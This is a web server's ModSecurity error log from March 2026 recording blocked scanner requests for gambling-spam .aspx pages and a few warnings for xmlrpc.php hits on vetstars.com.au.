[Sat Mar 07 12:59:18.937807 2026] [:error] [pid 52484:tid 52527] [client 51.77.217.11:54430] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aauwpvE9AnX6zUICFeQo-gAAARc"]
[Sat Mar 07 12:59:21.385111 2026] [:error] [pid 37998:tid 38047] [client 51.77.217.11:54458] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aauwqcl3xHpv0STGaSZwxQAAAUQ"]
[Sat Mar 07 12:59:23.749553 2026] [:error] [pid 37998:tid 38064] [client 51.77.217.11:54468] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aauwq8l3xHpv0STGaSZw0QAAAVQ"]
[Sat Mar 07 12:59:26.055871 2026] [:error] [pid 37998:tid 38049] [client 51.77.217.11:54484] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aauwrsl3xHpv0STGaSZw3gAAAUY"]
[Sat Mar 07 12:59:28.551510 2026] [:error] [pid 37998:tid 38062] [client 51.77.217.11:54510] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aauwsMl3xHpv0STGaSZw6QAAAVI"]
[Sat Mar 07 12:59:30.977741 2026] [:error] [pid 52484:tid 52504] [client 51.77.217.11:33826] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aauwsvE9AnX6zUICFeQpBgAAAQE"]
[Sat Mar 07 12:59:33.441159 2026] [:error] [pid 52484:tid 52514] [client 51.77.217.11:33830] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aauwtfE9AnX6zUICFeQpDAAAAQs"]
[Sat Mar 07 12:59:35.774405 2026] [:error] [pid 52484:tid 52517] [client 51.77.217.11:33848] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aauwt_E9AnX6zUICFeQpFwAAAQ4"]
[Sat Mar 07 12:59:38.173330 2026] [:error] [pid 37998:tid 38058] [client 51.77.217.11:33858] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aauwusl3xHpv0STGaSZxAQAAAU4"]
[Sat Mar 07 12:59:40.577884 2026] [:error] [pid 37998:tid 38065] [client 51.77.217.11:53072] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aauwvMl3xHpv0STGaSZxCQAAAVU"]
[Sat Mar 07 12:59:42.928573 2026] [:error] [pid 37998:tid 38050] [client 51.77.217.11:53096] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aauwvsl3xHpv0STGaSZxEwAAAUc"]
[Sat Mar 07 12:59:45.438570 2026] [:error] [pid 4609:tid 4642] [client 51.77.217.11:53114] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aauwweP7JMxUbw4Fd1bz7QAAAM4"]
[Sat Mar 07 12:59:48.308005 2026] [:error] [pid 52484:tid 52508] [client 51.77.217.11:53140] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aauwxPE9AnX6zUICFeQpPAAAAQU"]
[Sat Mar 07 13:00:03.613820 2026] [:error] [pid 52484:tid 52513] [client 51.77.217.11:51220] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aauw0_E9AnX6zUICFeQpWQAAAQo"]
[Sat Mar 07 13:00:06.042656 2026] [:error] [pid 37998:tid 38060] [client 51.77.217.11:51244] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aauw1sl3xHpv0STGaSZxXQAAAVA"]
[Sat Mar 07 13:00:08.508345 2026] [:error] [pid 4609:tid 4630] [client 51.77.217.11:51260] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aauw2OP7JMxUbw4Fd1bz_QAAAMI"]
[Sat Mar 07 13:00:35.859713 2026] [:error] [pid 37998:tid 38066] [client 51.77.217.11:54044] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aauw88l3xHpv0STGaSZx1wAAAVY"]
[Sat Mar 07 13:00:38.413801 2026] [:error] [pid 4315:tid 4457] [client 51.77.217.11:33238] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aauw9tDEK9AXzxu9OSirXgAAAIo"]
[Sat Mar 07 13:00:40.957585 2026] [:error] [pid 52484:tid 52519] [client 51.77.217.11:40314] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aauw-PE9AnX6zUICFeQpswAAAQ8"]
[Sat Mar 07 13:00:43.530181 2026] [:error] [pid 37998:tid 38065] [client 51.77.217.11:40330] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aauw-8l3xHpv0STGaSZx_QAAAVU"]
[Sat Mar 07 13:00:45.973267 2026] [:error] [pid 4307:tid 4390] [client 51.77.217.11:40352] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aauw_TeKp4wgnLc38f9_KAAAAAg"]
[Sat Mar 07 13:00:48.489218 2026] [:error] [pid 4315:tid 4449] [client 51.77.217.11:40382] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aauxANDEK9AXzxu9OSiraQAAAII"]
[Sat Mar 07 13:00:51.077122 2026] [:error] [pid 4311:tid 4423] [client 51.77.217.11:57020] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aauxA3byS653WMGf2vU8TQAAAEQ"]
[Sat Mar 07 13:00:53.559617 2026] [:error] [pid 37998:tid 38054] [client 51.77.217.11:57034] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aauxBcl3xHpv0STGaSZyCwAAAUo"]
[Sat Mar 07 13:00:55.881948 2026] [:error] [pid 4315:tid 4462] [client 51.77.217.11:57056] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aauxB9DEK9AXzxu9OSircwAAAI8"]
[Sat Mar 07 13:00:58.329927 2026] [:error] [pid 4315:tid 4459] [client 51.77.217.11:57074] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aauxCtDEK9AXzxu9OSirdgAAAIw"]
[Sat Mar 07 13:01:00.774617 2026] [:error] [pid 52484:tid 52523] [client 51.77.217.11:45002] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aauxDPE9AnX6zUICFeQp5gAAARM"]
[Sat Mar 07 13:01:03.215337 2026] [:error] [pid 4315:tid 4473] [client 51.77.217.11:45014] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aauxD9DEK9AXzxu9OSirfQAAAJg"]
[Sat Mar 07 13:01:05.783670 2026] [:error] [pid 4609:tid 4637] [client 51.77.217.11:45024] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aauxEeP7JMxUbw4Fd1b0RQAAAMk"]
[Sat Mar 07 13:01:08.280213 2026] [:error] [pid 4609:tid 4647] [client 51.77.217.11:45044] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aauxFOP7JMxUbw4Fd1b0SgAAANM"]
[Sat Mar 07 13:01:10.772477 2026] [:error] [pid 37998:tid 38058] [client 51.77.217.11:57364] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aauxFsl3xHpv0STGaSZyKgAAAU4"]
[Sat Mar 07 13:01:13.195894 2026] [:error] [pid 37998:tid 38062] [client 51.77.217.11:57374] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aauxGcl3xHpv0STGaSZyMQAAAVI"]
[Sat Mar 07 13:01:15.635469 2026] [:error] [pid 52484:tid 52521] [client 51.77.217.11:57404] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aauxG_E9AnX6zUICFeQp-AAAARE"]
[Sat Mar 07 13:01:18.128143 2026] [:error] [pid 52484:tid 52514] [client 51.77.217.11:57420] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aauxHvE9AnX6zUICFeQqAwAAAQs"]
[Sat Mar 07 13:01:20.613773 2026] [:error] [pid 37998:tid 38062] [client 51.77.217.11:38936] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aauxIMl3xHpv0STGaSZyTgAAAVI"]
[Sat Mar 07 13:01:23.110701 2026] [:error] [pid 4315:tid 4462] [client 51.77.217.11:38950] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aauxI9DEK9AXzxu9OSirjAAAAI8"]
[Sat Mar 07 13:01:25.484185 2026] [:error] [pid 52484:tid 52515] [client 51.77.217.11:38968] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aauxJfE9AnX6zUICFeQqEgAAAQw"]
[Sat Mar 07 13:01:27.925805 2026] [:error] [pid 37998:tid 38067] [client 51.77.217.11:38982] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aauxJ8l3xHpv0STGaSZyZAAAAVc"]
[Sat Mar 07 13:01:30.350677 2026] [:error] [pid 37998:tid 38061] [client 51.77.217.11:50766] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aauxKsl3xHpv0STGaSZyagAAAVE"]
[Sat Mar 07 14:37:32.407552 2026] [:error] [pid 37998:tid 38044] [client 34.24.47.138:62361] [client 34.24.47.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/media/system/js/core.js"] [unique_id "aavHrMl3xHpv0STGaSbBCQAAAUE"]
[Sat Mar 07 14:41:29.848840 2026] [:error] [pid 52484:tid 52522] [client 109.74.14.122:58742] [client 109.74.14.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.74.14.122, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aavImfE9AnX6zUICFeReBAAAARI"]
[Sat Mar 07 15:18:14.694122 2026] [:error] [pid 4609:tid 4634] [client 5.194.69.253:57464] [client 5.194.69.253] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.194.69.253, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aavRNuP7JMxUbw4Fd1YhSQAAAMY"]
[Sat Mar 07 19:28:18.733658 2026] [:error] [pid 54127:tid 54161] [client 147.135.253.47:48240] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aawL0kuQzHmVv_Y3VjdZ2wAAAtM"]
[Sat Mar 07 19:28:21.103280 2026] [:error] [pid 31847:tid 31863] [client 147.135.253.47:48584] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aawL1fTG-z9jwgL8vXkiqAAAAkI"]
[Sat Mar 07 19:28:23.452450 2026] [:error] [pid 10276:tid 10294] [client 147.135.253.47:33832] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aawL16NawseyHvpv0LlLyQAAA0Q"]
[Sat Mar 07 19:28:25.897778 2026] [:error] [pid 10276:tid 10292] [client 147.135.253.47:33846] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aawL2aNawseyHvpv0LlL0QAAA0I"]
[Sat Mar 07 19:28:28.211204 2026] [:error] [pid 10276:tid 10293] [client 147.135.253.47:33862] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aawL3KNawseyHvpv0LlL2QAAA0M"]
[Sat Mar 07 19:28:30.620092 2026] [:error] [pid 14885:tid 14917] [client 147.135.253.47:33870] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aawL3lj4t7-EBJadtcWuQwAAA5I"]
[Sat Mar 07 19:28:33.059564 2026] [:error] [pid 54127:tid 54160] [client 147.135.253.47:33886] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aawL4UuQzHmVv_Y3VjdZ4AAAAtI"]
[Sat Mar 07 19:28:35.491230 2026] [:error] [pid 31847:tid 31861] [client 147.135.253.47:57974] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aawL4_TG-z9jwgL8vXkirAAAAkA"]
[Sat Mar 07 19:28:37.912081 2026] [:error] [pid 10276:tid 10305] [client 147.135.253.47:57978] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aawL5aNawseyHvpv0LlL5wAAA08"]
[Sat Mar 07 19:28:40.323535 2026] [:error] [pid 14885:tid 14923] [client 147.135.253.47:57994] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aawL6Fj4t7-EBJadtcWuUgAAA5g"]
[Sat Mar 07 19:28:42.725267 2026] [:error] [pid 54127:tid 54146] [client 147.135.253.47:58004] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aawL6kuQzHmVv_Y3VjdZ5AAAAsQ"]
[Sat Mar 07 19:28:45.128893 2026] [:error] [pid 50682:tid 50691] [client 147.135.253.47:43434] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aawL7U_32_2CpDTtIRmgLgAAAoY"]
[Sat Mar 07 19:28:47.522799 2026] [:error] [pid 36899:tid 36924] [client 147.135.253.47:43442] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aawL7zIlMfwxLHrLy_9PlQAAAYI"]
